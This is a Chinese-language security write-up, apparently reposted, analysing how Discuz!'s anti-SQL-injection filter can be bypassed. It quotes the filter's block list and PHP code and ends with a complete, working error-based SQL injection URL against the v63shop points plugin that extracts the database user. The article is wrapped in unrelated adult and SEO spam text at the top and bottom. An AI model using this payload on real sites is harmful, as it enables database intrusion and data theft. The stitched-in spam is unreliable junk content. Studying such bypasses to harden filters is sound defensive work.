成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Discuz防注入函數繞過方法分析

安全 數據安全
DIscuz v63積分插件被爆注入漏洞,某互聯網公司公布了一個的繞過discuz防注入函數的“方法”,事實上文章中說的“/*”會被discuz攔截。并沒有繞過,SafeKey Team分析了某互聯網公司披露的discuz v63積分商城插件注入漏洞,發現discuz本身的防注入機制可以被繞過,且無限制。

分析人:晴天小鑄,Seay

分析時間:2013年03月20日

discuz介紹:

Crossday Discuz! Board(以下簡稱 Discuz!,中國國家版權局著作權登記號 2006SR11895)是康盛創想(北京)科技有限公司(英文簡稱Comsenz)推出的一套通用的社區論壇軟件系統,用戶可以在不需要任何編程的基礎上,通過簡單的設置和安裝,在互聯網上搭建起具備完善功能、很強負載能力和可高度定制的論壇服務。Discuz! 的基礎架構采用世界上最流行的 web 編程組合 PHP+MySQL 實現,是一個經過完善設計,適用于各種服務器環境的高效論壇系統解決方案。

DIscuz v63積分插件被爆注入漏洞,某互聯網公司公布了一個的繞過discuz防注入函數的“方法”,鏈接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事實上文章中說的“/*”會被discuz攔截。并沒有繞過,SafeKey Team分析了某互聯網公司披露的discuz v63積分商城插件注入漏洞,發現discuz本身的防注入機制可以被繞過,且無限制。

Discuz防注入分析如下:

先看防注入配置: 

  1. $_config['security']['querysafe']['status'] = 1;             // 是否開啟SQL安全檢測,可自動預防SQL注入攻擊  
  2. $_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');  
  3. $_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select''unionall''uniondistinct');  
  4. $_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');  
  5. $_config['security']['querysafe']['dlikehex'] = 1;  
  6. $_config['security']['querysafe']['afullnote'] = 0; 

Discuz 執行SQL語句之前會調用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck類下面的checkquery($sql)函數進行過濾。但是過濾并不嚴謹,我們發現可以繞過改防注入函數。 

  1. public static function checkquery($sql) {  
  2.         if (self::$config === null) {  
  3.             self::$config = getglobal('config/security/querysafe');  
  4.         }  
  5.         if (self::$config['status']) {  
  6.             $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));  
  7.             if (in_array($cmd, self::$checkcmd)) {  
  8.                 $test = self::_do_query_safe($sql);  
  9.                 if ($test < 1) {  
  10.                     throw new DbException('It is not safe to do this query', 0, $sql);  
  11.                 }  
  12.             }  
  13.         }  
  14.         return true;  
  15.     } 

上面的if (self::$config['status']) {判斷有木有開啟防注入。最終會self::_do_query_safe($sql);

調用 _do_query_safe()函數。跟進該函數,在同文件的363行。

  1. private static function _do_query_safe($sql) {  
  2. $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);  
  3. $mark = $clean = '';  
  4.  
  5. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  6.     $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  7. } else {  
  8.  
  9.     $len = strlen($sql);  
  10.     $mark = $clean = '';  
  11.     for ($i = 0; $i < $len; $i++) {  
  12.         $str = $sql[$i];  
  13.         switch ($str) {  
  14.             case '\'':  
  15.                 if (!$mark) {  
  16.                     $mark = '\'';  
  17.                     $clean .= $str;  
  18.                 } elseif ($mark == '\'') {  
  19.                     $mark = '';  
  20.                 }  
  21.                 break;  
  22.             case '/':  
  23.                 if (empty($mark) && $sql[$i + 1] == '*') {  
  24.                     $mark = '/*';  
  25.                     $clean .= $mark;  
  26.                     $i++;  
  27.                 } elseif ($mark == '/*' && $sql[$i - 1] == '*') {  
  28.                     $mark = '';  
  29.                     $clean .'*';  
  30.                 }  
  31.                 break;  
  32.             case '#':  
  33.                 if (empty($mark)) {  
  34.                     $mark = $str;  
  35.                     $clean .= $str;  
  36.                 }  
  37.                 break;  
  38.             case "\n":  
  39.                 if ($mark == '#' || $mark == '--') {  
  40.                     $mark = '';  
  41.                 }  
  42.                 break;  
  43.             case '-':  
  44.                 if (empty($mark) && substr($sql, $i, 3) == '-- ') {  
  45.                     $mark = '-- ';  
  46.                     $clean .= $mark;  
  47.                 }  
  48.                 break;  
  49.  
  50.             default:  
  51.  
  52.                 break;  
  53.         }  
  54.         $clean .= $mark ? '' : $str;  
  55.     }  
  56. }  
  57.  
  58. $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));  
  59.  
  60. if (self::$config['afullnote']) {  
  61.     $clean = str_replace('/**/', '', $clean);  
  62. }  
  63.  
  64. if (is_array(self::$config['dfunction'])) {  
  65.     foreach (self::$config['dfunction'] as $fun) {  
  66.         if (strpos($clean, $fun . '(') !== false)  
  67.             return '-1';  
  68.     }  
  69. }  
  70.  
  71. if (is_array(self::$config['daction'])) {  
  72.     foreach (self::$config['daction'] as $action) {  
  73.         if (strpos($clean, $action) !== false)  
  74.             return '-3';  
  75.     }  
  76. }  
  77.  
  78. if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {  
  79.     return '-2';  
  80. }  
  81.  
  82. if (is_array(self::$config['dnote'])) {  
  83.     foreach (self::$config['dnote'] as $note) {  
  84.         if (strpos($clean, $note) !== false)  
  85.             return '-4';  
  86.     }  
  87. }  
  88.  
  89. return 1;  

 該防注入函數的關鍵繞過代碼在:

  1. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  2.             $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  3. }  
  4. else  

在discuz v63積分商城插件注入漏洞exp中并不需要斜杠、#號和—注釋符。所以會執行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原來SQL語句中兩個單引號中間的內容就會被替換為空。并不會進入到下面的else分支。Else下面的所有操作均是對$clean變量的操作。所以繞過的思路就是把SQL語句放在兩個單引號中間。對于mysql的一個特性,

@`’` 是為空的,所以我們的攻擊語句可以放到兩個@`’`中間,即使GPC開啟,單引號被轉義為\’,而@`’`變成@`\’`對注入也是沒有影響的,所以此繞過方法無限制。

即針對該注入漏洞的攻擊EXP為:

  1. http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`  or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` 

調試輸出SQL語句:

Discuz防注入函數繞過方法分析及沒用心的修復補丁

可以看到我們的注入語句被替換掉了,所以后面的檢查字符的時候并沒有發現注入語句。

最終成功利用:

Discuz防注入函數繞過方法分析及沒用心的修復補丁

 官網補?。篽ttp://www.discuz.net/forum.php?mod=viewthread&tid=3234536

責任編輯:藍雨淚 來源: FreebuF
相關推薦

2010-09-14 19:50:55

2013-01-11 16:23:29

2013-04-26 11:39:40

2017-05-05 11:31:34

2017-09-07 15:39:27

2009-08-31 14:44:30

2015-09-28 09:56:14

2023-08-31 07:55:21

Android系統壓縮處理

2019-02-19 08:45:41

2020-12-31 10:14:42

防注入代碼繞過

2017-05-08 08:32:51

2013-05-13 11:25:02

WAFWeb應用防火墻WAF繞過

2011-09-06 16:56:43

2022-08-05 16:47:15

網絡安全SQL注入

2013-04-19 13:20:14

2009-07-10 11:07:00

WebWork注入Servlet方法

2010-09-30 09:11:01

2023-12-13 12:46:49

數據分析指標算法

2012-11-15 13:37:32

dedecms注入腳本攻防

2018-03-05 10:40:12

LinuxUnix命令別名
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 我要看黄色录像一级片 | 男人的天堂在线视频 | 日韩免费视频一区二区 | 欧美亚洲国产一区二区三区 | 久久久久久久久久久久久久久久久久久久 | 99re在线| 国产精品污www一区二区三区 | 久久久亚洲综合 | 国产日韩精品一区二区 | 高清av一区 | 亚洲综合色婷婷 | 日韩精品在线看 | 97视频网站| 午夜久草 | 91精品国产色综合久久不卡98口 | 亚洲一卡二卡 | 美女黄频| 国产欧美日韩精品一区二区三区 | 国产成人亚洲精品 | 日韩精品一区二区三区中文字幕 | 亚洲免费观看 | 九七午夜剧场福利写真 | 欧美freesex黑人又粗又大 | 9久9久9久女女女九九九一九 | 天天综合久久 | 古典武侠第一页久久777 | 国产精品黄色 | 精品亚洲91 | 亚洲国产成人精 | 亚洲成人播放器 | 欧美日韩国产免费 | 日韩在线视频一区二区三区 | 黄网在线观看 | 99在线免费观看 | 国产在线一区二区三区 | 91久久久www播放日本观看 | 精品久久电影 | 在线视频国产一区 | 色伊人久久 | 免费毛片www com cn | 欧美一级电影免费 |